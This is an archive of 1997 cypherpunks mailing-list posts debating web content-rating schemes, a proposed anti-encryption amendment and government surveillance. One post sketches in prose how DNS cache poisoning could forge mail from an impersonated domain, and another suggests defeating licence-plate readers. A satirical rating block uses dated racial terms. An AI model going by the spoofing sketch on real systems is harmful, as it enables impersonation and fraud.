At 2:07 PM -0700 7/25/97, nospam-seesignature@ceddec.com wrote:

>Why is everything considered to be a federal government v.s. total anarchy
>debate?

It's not.

>A PRIVATE organization could set up objective standards for content and
>then produce ratings for sites (using a digital signature technique).
>Whether your site has nude pictures is something measurable.  There can
>also be subjective standards.  If you find religion offensive, you can go
>to sites rated as safe by an atheistic association.  If they misrate
>things, switch organizations.

Few of us have problems with this approach. This is what I was advocating
when I said parents should control what their children get access to. Or,
more broadly, people can use whatever standards they wish.

But this is not what the debate has been about. If you think this, you
haven't been reading the threads about the proposed penalties for
"mislabeling" a site, the "mandatory voluntary" notions, etc.

>You can make a movie and say it is rated "G", but you cannot use the
>MMPA's reputation capital to do so.  If you say it has been rated "G" by
>the MMPA, it either has been, or your are committing fraud.

Yes, yes, yes. We all agreed with this a couple of years ago when this came up.


>If you said "suitable for children", and the common opinion was that it
>wasn't, you would develop a reputation for mislabeling, lying, fraud, or
>psycosis.  If you keep calling a Stetson hat a potted plant, you lose
>reputation capital.  And then people stop believing you on other issues
>such as "I know what I am talking about when it comes to programming".

Again, yes, yes, yes.

Sadly, your view and my view on this is _not_ what is being discussed in
Washington.

In fact, Washington need not even be involved in the slightest way to
implement a purely private system such as this. That they are says it all.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 26 Jul 1997 05:53:15 +0800
To: cypherpunks@cyberpass.net
Subject: Society's Overwhelming Interest
In-Reply-To: <v03102805affeb3524a23@[207.167.93.63]>
Message-ID: <19970725214616.22649.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

 > (And, in my opinion, the modern American system is filled
 > with thousands of examples of laws inconsistent with
 > original Constitutional intent, but not so blatantly
 > clearcut that the Supremes would have to act. The "death of
 > a thousand cuts," or the "frog in boiling water," whatever
 > metaphor one prefers.)

The Supremes can easily dismiss the Constitution any time they
like by using the magic phrase "Society's Overwhelming Interest."

We saw a good example of that today, in a ruling which said that
Society's Overwhelming Interest in protecting its citizen(-unit)s
outweighed the right of specific terminally ill citizen(-unit)s
to smoke marijuana to relieve intractable pain.

Even the First Ammendment falls victim to this phrase when the
Supremes rule that Society's Overwhelming Interest in protecting
its children makes it possible to commit a felony using only a
Playboy, a Jack and Jill, scissors, and a piece of scotch tape.

Similar arguments come out of the Court all the time about
Society's Overwhelming Interest in "preserving the family,"
"protecting children," "empowering parents," "thwarting
terrorists", and generally preserving the right of the state to
rule, to execute, to collect taxes, and to rip out the spleen of
anyone who publicly objects.

Those who regard the Supreme Court as some sort of inviolable
bulwark surrounding our First Ammendment crypto rights are
probably setting themselves up for a rude awakening in the not so
near future.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 06:15:39 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <199707252121.RAA02705@upaya.multiverse.com>
Message-ID: <v03010d06affed4303fb3@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



>: http://www.wired.com/news/news/politics/story/5492.html
...
>:  The amendment, by Representative Benjamin Gilman
>:  (R-New York), who chairs the International Relations
>:  Committee, would make it unlawful to "manufacture,
>:  distribute, sell, or import any product within the United
>:  States that can be used to encrypt communications or
>:  information if the product does not permit the real-time
>:  decryption of such encrypted communications or
>:  information."

Do you think they were referring to pencils?

Will Navaho dictionaries become illegal?

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 03:31:19 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707251922.PAA02459@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

This is interesting in a perverse sort of way.  Notice that it does
not purport to forbid the _use_ of strong crypto.  Is software---
especially if it is not for sale, but just given away---a product?
Does writing software amount to manufacturing it?  

It actually does a very nice job of raising the first amendment issues
that are ultimately going to kill export controls, as well as import
controls, as applied to software.  It would seem that, unless one
believes that the first amendment only protects pornographers, but not
programmers, that this proposed legislation is either (i) blatantly
unconstitutional or (ii) totally ineffective (since, if it is not
unconstitutional, it could not be applied to the writing, distributing,
importing, or even selling of those texts that we call programs.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sat, 26 Jul 1997 06:07:26 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
Message-ID: <3.0.2.32.19970725165058.007d3cd0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:23 AM 7/25/97 -0400, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>>[...]
>>> And, yes, all of this privacy loss happens because somebody decided
>>> it was convenient to put a car-ownership-tax receipt on the outside
>>> of a car so police can quickly decide if you've paid your taxes...
>>> The rest of it's just implementation details.
>>
>>Of course, you could just confine your driving to private roads, and
>>leave the license plate off. 
>
>Sabotaging your plates so they weren't machine readable or using a car 
>registered in Slovenia or Wisconsin (both possible in the UK) would make
more 
>sense.
>

remember those purple neon "chaser" lights that people used to put around
thier plates to to make them harder to read and bounce lidar off of... dont
see them much anymore they probably went the way of blackout windows they
both make it harder for police to apprehend the dangerous criminals. In
fact if you get pulled over with blackout windows in NYC you might be
greeted by one of new yorks finest pointing a gun at you instead of the
ususal solem "liscense and registration please". I think that if the
government could make a case that mandatory brain removal would stop crime
most people would be all for it. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 26 Jul 1997 05:21:32 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102802affe9889ff47@[207.167.93.63]>
Message-ID: <97Jul25.170516edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997, Tim May wrote:

> At 10:49 AM -0700 7/25/97, James Love wrote:
> >Tim, if you think that no web site are unambiguously inappropriate for
> >children, then you are in a state of denial.  However, while I don't
> >expect to change your mind on that point, let me set the record straight
> >on your note.  I don't favor RSACi or other PICS systems.  I think these
> >are a mistake, and should be resisted.  However, I do favor a far less
> >ambitious and less informative system (less is more, as far as I am
> >concerned), which involves a simple, single voluntary tag, selected by
> >the web page publisher, at their discretion, of the nature of
> >
> ><META NAME="Rating" CONTENT="adult">
> 
> So long as it is completely voluntary, and I am free to label my sites as
> "Suitable for children," whatever they contain, I have no problem with your
> proposal.

Why is everything considered to be a federal government v.s. total anarchy
debate?

A PRIVATE organization could set up objective standards for content and
then produce ratings for sites (using a digital signature technique). 
Whether your site has nude pictures is something measurable.  There can
also be subjective standards.  If you find religion offensive, you can go
to sites rated as safe by an atheistic association.  If they misrate
things, switch organizations.

You can make a movie and say it is rated "G", but you cannot use the
MMPA's reputation capital to do so.  If you say it has been rated "G" by
the MMPA, it either has been, or your are committing fraud. 

You can place any tag on your site which you want, but the same
technological revolution will make reputation capital certification
possible, and your choice will be to have no site rating, or one provided
by an organization which has standards and you won't be able to forge.

If I want to create a site which advertises to children of a particular
age group, I will want to attract the largest number of children possible. 
No one will trust my own "safe for children" tag, but they will trust
someone independent.  So I go to them to have my site rated, and either
make adjustments, or debate some points, but the idea is that my page will
then become a place for children to go to because of the rating. 

> However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
> _disagree_ with my "voluntary" labeling of my site as "suitable for
> children," and should then bring the courts into the process in a
> prosecution or other action against me, then it will hardly be "voluntary,"
> will it?

No, but if I am the one certifying your site, I would certify what I see
as appropriate for the given age group, and use a digital signature, so if
you altered your content, you would immediately lose my certification, or
I might do so for a probationary period until you established a reputation
for not swapping nice clowns for lusty nudes, much as people require
collateral and cosigners until someone has built up a good credit rating.

If you said "suitable for children", and the common opinion was that it
wasn't, you would develop a reputation for mislabeling, lying, fraud, or
psycosis.  If you keep calling a Stetson hat a potted plant, you lose
reputation capital.  And then people stop believing you on other issues
such as "I know what I am talking about when it comes to programming".

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 05:31:02 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707252121.RAA02705@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

Besides the first amendment issues that I raised earlier, there are 
certain other problems with this amendment.  

Say it takes 2,000 years to decrypt a message, now that is what I
would really call ``real time''.  And there could also be a message
that could be decrypted in ten seconds, but only by someone who has
the key.

Obviously this draft of an amendment is very rough, incomplete,
mistranscribed, or some or all of the above.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 26 Jul 1997 05:34:57 +0800
To: Cypherpunks List <cypherpunks@cyberpass.net>
Subject: PRZ and PGP honored on NET
In-Reply-To: <v03007809affc1e98832d@[168.161.105.191]>
Message-ID: <97Jul25.172804edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Last night (7/24/97), on National Empowerment Television, the hosts of
Endangered Liberties honored Phil Zimmerman for his work on PGP, and they
even had an employee of PGP there to discuss the program and the policy
problems.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 26 Jul 1997 13:00:01 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <v03007831afff25502610@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides?

This question is easy to answer.  By being publicly available, they are ALL
offering public services.  Therefore they are all free from
mandatory/voluntary ratings.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Jul 1997 13:32:52 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:04 PM 7/25/97 -0700, Bill Frantz wrote:
>At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>>service" group? Who decides?
>
>This question is easy to answer.  By being publicly available, they are ALL
>offering public services.  Therefore they are all free from
>mandatory/voluntary ratings.

Bridges are at a bargain this week... Of course my dear friend Bill knows
better than to believe what he wrote. :-)

The large media conglomerates (really an extension of the government) will
decide under the "voluntary" rating system who is a "reliable" news source
worthy of a RSACi carte blanc. Hmm, sounds just like the "persons of
undoubted reliability" authorized to acquire firearms in Europe a while
back. [Reichsgesetzblatt, year 1928, number 18, part 1, paragraph 16.1]

After all, we wouldn't want people of questionable reputation, such as John
Young, publish news anybody can read. It might disturb some children. Not
to mention their parents.

Sounds to me like the established media is supporting a system designed to
hamper their competion.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 13:53:12 +0800
To: "Lynne L. Harrison" <cypherpunks@cyberpass.net
Subject: Re: Jim Bell Docket 3
In-Reply-To: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.com>
Message-ID: <v03102802afff3d83ee3c@[17.128.203.92]>
MIME-Version: 1.0
Content-Type: text/plain



>>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.
>
>Do any other individuals have any thoughts concerning this issue?
>
>

(Since I am not a lawyer, I can pontificate without fear of reprisal.)
Since the message was a "press release" one could, with a reasonably
straight face, claim that it is covered by "freedom of the press."
Extracting addresses from a database would not be permitted, as
near as I can tell, by the Swedish Data Privacy Law. There is an
interesting article, in Swedish, in today's Svenska Dagbladet
<http://www.svd.se/> that suggests that *any* computer-generated
message (including ordinary word-processing letters) may violate
the data privacy law (but this might be a mis-reading of an
article I only skimmed, but didn't read carefully). Misusing
data on a computer file would be improper, irregardless of whether
the computer was involved in a criminal matter. Copyright violation,
if nothing else, even if it might be "fair use."

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Jul 1997 05:48:31 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.c om>
Message-ID: <3.0.2.32.19970725225321.03054658@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Feh.  Either it was real, or it was forged.  In either case, 
the sender could have gotten names and addresses for the usual suspects
by watching the cypherpunks list; no need to crack Jim's machine.

It _was_ nicely forged, if it was forged.  One amusing method
that could have been used for the forgery is the method used
by Kashpureff for the alternic.net / internic.net rediriection -
when a site sends a DNS request to your name server (e.g. because
you've sent some email through it to you), send back some additional
records with the sites you're impersonating - especially if the
subdomain at irs.gov didn't really exist.  You can reinforce it by
adding the IP addresses you choose to your in-addr.arpa reverse DNS.

>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.

Clearly not - there are major ECPA and invasion of privacy issues.
But there's no evidence that they did that.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 14:33:12 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <v03007831afff25502610@[207.94.249.108]>
Message-ID: <Pine.GSO.3.95.970725231642.24445D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Heh. That's not what RSACi has in mind. :) --Declan

On Fri, 25 Jul 1997, Bill Frantz wrote:

> At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides?
> 
> This question is easy to answer.  By being publicly available, they are ALL
> offering public services.  Therefore they are all free from
> mandatory/voluntary ratings.
> 
> 
> -------------------------------------------------------------------------
> Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
> (408)356-8506     | to protect the free world  | 16345 Englewood Ave.
> frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 26 Jul 1997 15:20:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <19970726000702.56387@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 24, 1997 at 08:45:00PM -0500, snow wrote:
> 
> 	Seems to me, this is a warning. 
> 
> 	The Gooberment is warning us that they are watching us, and 
> They are NOT PLEASED. 

Far more likely that someone in IRS thought it would be a kick to stir
up cypherpunks a bit.  It worked, too, I would say.  

Let me be a bit more direct.  These people aren't warning you.  They
are poking fun of you. 

> 	Assholes. They are supposed to be working FOR US.

Speaking of asses, they are probably laughing theirs off reading this. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 26 Jul 1997 15:20:55 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8F403.245C04CD@cptech.org>
Message-ID: <199707260708.CAA30671@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33D8F403.245C04CD@cptech.org>, on 07/25/97 
   at 02:44 PM, James Love <love@cptech.org> said:

>Declan McCullagh wrote:
>> 
>> Jamie, as you know, we disagree on your approach to self-labeling.
>> 
>> For the purposes of argument, let us say that we can agree that some,
>> extreme, sites are unsuitable for children. But the problems arise not
>> on
>> the extremes, but in the great grey center.
>> 
>> Where do you draw the line? Therein lies the rub.
>> 
>> -Declan


>     Thanks for asking this question.  I think it is important.  I would
>have the labeling system be something that suits the publisher of the web
>page.  The web page publisher would decide if he or she wanted to label
>the site as adult.  There wouldn't be a great gray center, in the sense
>that the author/owner of the web page would make the decision to label or
>not label.  Why would anyone label?  As you know, most porn sites already
>have labeling out the whazoo.  (how is this spelled?)   The problem is
>that the label takes so many different forms, browsers can't filter the
>current labels, and that is why we have so much interest in cybersiter
>and other AI programs.  This would make their existing voluntary labeling
>systems actually work.  The simpler the tagging system, and the less
>information it conveys, the less likely it could be used to create a much
>more grandiose content labeling system.  This is a pragmatic proposal.  I
>think it makes sense.


What is your proposal for those who would "mislable" their sites? I am
sure that you are not under the assumption that everyone will have the
same ideals of what is appropriate for children and what is not.

How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
decides to self rate it Y-7?

Self-rating and/or browsers that can read these self-ratings will be of
little good except as a stepping stone to maditory rating system because
they are unable to solve the precieved problem of children accessing
website that their parents do not want them to see.

Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
hore" Rice's cronnies that voluntary ratings was worth a try they would be
shortly back to DC pushing for manditory legislation because they wouldn't
like the way people were self rating their web pages.

You have two major groups pushing for rating systems:

1) Lazy parents that do not wish to be bothered with the obligations of
raising their children.

2) "Born again" censors like Rice want the power to control what people
can and can not say.

The problem is that no rating system can satisfy these groups. Just as
voluntary rating will be used as a stepping stone to manditory rating,
manditory rating will be used by these same two groups for the outright
baning of certian forms of speech (their true agenda).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9mU2o9Co1n+aLhhAQEDqwQAmz1IdvFJ7gNOu07bi02na4P0vbQzveRS
ym/HgrtC+Oda/v9smPNb9BqUdQOY1NL42YHHoHx5gB6SrTVYN07ShejmBMDmyFI8
m8ly7AfQtPW4SdMiDXei+/Q2xddoM2XTE/WvTjJDk3y+Bzt0F8kHqr+Hs9T7HiIX
3N+B4l9EmVc=
=dTH/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 26 Jul 1997 17:24:45 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970726020854.39574@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 24, 1997 at 06:54:29PM -0700, Bill Stewart wrote:
> At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
> >On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
> >[...]
> >> And, yes, all of this privacy loss happens because somebody decided
> >> it was convenient to put a car-ownership-tax receipt on the outside
> >> of a car so police can quickly decide if you've paid your taxes...
> >> The rest of it's just implementation details.
> >
> >Of course, you could just confine your driving to private roads, and
> >leave the license plate off. 
> 
> If the government wants to take over all the public commons right-of-way
> and pave it for roads, I'm not saying I'm not willing to pay them
> for the use of all their nice concrete and asphalt*, though 
> government-built roads have led to a whole lot of ecological and social
> problems

Can't deny that.

> that are far more severe than those a free-market road system
> would have given us;

I see no evidence for this.  Do you know of any national level 
free-market road system that would demonstrate this?  I don't think 
there are any.

> free-marketers without eminent domain would have
> built fewer roads in generally more efficient places because they'd need 
> to make money on each one, though eminent domain may be enough of a 
> cost-saver to make up for lower efficiency, and housing and business 
> development would have organized more compactly around the roads and
> railroads that did get built, allowing less car use.

I don't know.  Maybe, maybe not.  This is all hypothetical.

However, I think that strong identification systems for people and
cars would develop on private road systems, as well.  The reason is
that traffic rules would have to be enforced on private roads just as
much as they do on public roads.  Roadway operators would still want
drivers licenses to identify drivers who were competent, and would
still want to be able to identify cars as an aid to identifying
people.

More generally, while much of the argument on cpunks has been about
the government invading privacy, in fact, of course, "private
enterprise" has no motivation to respect privacy rights -- knowledge
about people is just another commodity.

In fact, there was a recent thread about how there was no such thing 
as "privacy rights"...

[...]
								
> And somehow before the automobile we got by without license plates on
> horses and buggies and cows, though some people branded their horses or 
> cows or painted their names on buggies without the law requiring it
> so they could demonstrate ownership if there was a dispute.

My dad had his own brand, many years ago ("WC on a Bench" -- I used 
to have a wooden plaque with it burned in...).  There was and still is 
a great deal more government involvement in brands than you may 
realize.  Brands are registered, there are "brand inspectors", etc.  

But in any case, *many* things were different 150 years ago. 
Arguably, you didn't need things like license plates, because
*everything* was much less anonymous -- the web of personal knowledge
of other people's doings was much more complete.  You didn't need to
put your name on your buggy, because everybody locally knew it was
yours.

[...]

> Changing the
> transaction costs changes the possible relationships between
> supplier and customer, and if the government wants to use them
> for social control, some of those relationships make it easier.

That's the leitmotif of this discussion, isn't it -- government use of
technology for social control.  In my view, however, it is a mistake
to focus on the government.  Society exerts social control, not just
the government.  We have jobs, families, friends, habits, training,
education -- a whole web of relationships that channel our activities 
and our thinking.

If you consider what "freedom" means in the context of this larger 
definition of "social control" things become rather subtle.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Sat, 26 Jul 1997 14:34:41 +0800
To: cypherpunks@toad.com
Subject: Re: An Attempt to Hobble SAFE Crypto Bill (fwd)
Message-ID: <Pine.LNX.3.95.970726021856.7746B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:22:48 -0400
From: Alan Davidson <abd@cdt.org>
To: "--Todd Lappin-->" <telstar@wired.com>, fight-censorship@vorlon.mit.edu
Subject: Re: An Attempt to Hobble SAFE Crypto Bill

At 11:03 AM -0800 7/25/97, --Todd Lappin--> wrote:
>
>An Attempt to Hobble House Crypto Bill
>
> by Rebecca Vesely
...
> The amendment, by Representative Benjamin Gilman
> (R-New York), who chairs the International Relations
> Committee, would make it unlawful to "manufacture,
> distribute, sell, or import any product within the United
> States that can be used to encrypt communications or
> information if the product does not permit the real-time
> decryption of such encrypted communications or
> information."

The full text of this very frightening amendment is now available on CDT's
Web site at:
	http://www.cdt.org/crypto/legis_105/SAFE/index.shtml#970725

It's a chilling glimpse at the Administration's view of a
mandatory-domestic-key-recovery world. This is the first time I've seen
anyone put such a provision through the House Legislative Counsel process.

 	-- Alan


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  <abd@cdt.org>
Washington, DC 20006                         PGP key via finger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success@network2.net
Date: Sat, 26 Jul 1997 14:38:02 +0800
To: cypherpunks@toad.com
Subject: Internet Service
Message-ID: <199707260619.CAA14269@mail.network2.net>
MIME-Version: 1.0
Content-Type: text/plain



If you wish to be removed from future mailings, please reply with the subject "Remove"

If we showed you how to receive FREE Unlimited Internet Access to the World Wide Web,
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Sat, 26 Jul 1997 14:38:34 +0800
To: cypherpunks@toad.com
Subject: Note to CyberPatrol's Susan Getgood (fwd)
Message-ID: <Pine.LNX.3.95.970726022044.7746D-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:19:00 -0700
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
To: SusanG@microsys.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Note to Susan Getgood

Dear Susan:

I hadn't realized that you were still on f-c, but since you've popped up
a few times today, I thought that I'd use this environmentally friendly
way of speaking with you.

I was quite intrigued when I got an envelope from Microsys a few days
ago.  And I was honored that you consider me to be a colleague -- you
remember how you addressed the letter -- Dear Colleague.

I am, of course, quite concerned about productivity in the workplace. 
Why, everyone on f-c who knows me will vouch for the fact that I never
do anything which is not completely work-related during the business
day.  So while I have to confess that I was intrigued by the offer of
your corporate product, there's just one small problem: using it would
go against every moral and ethical bone in my body.

Granted, most attorneys may not have many of 'dem bones, so if I change
my mind, I'll keep your email address on file.  In the meantime,
however, you can save some postage costs and even a tree branch or two
if you delete me from your junk snail mail list.

Thank you for your cooperation in this matter.


Very truly yours,


-James S. Tyre





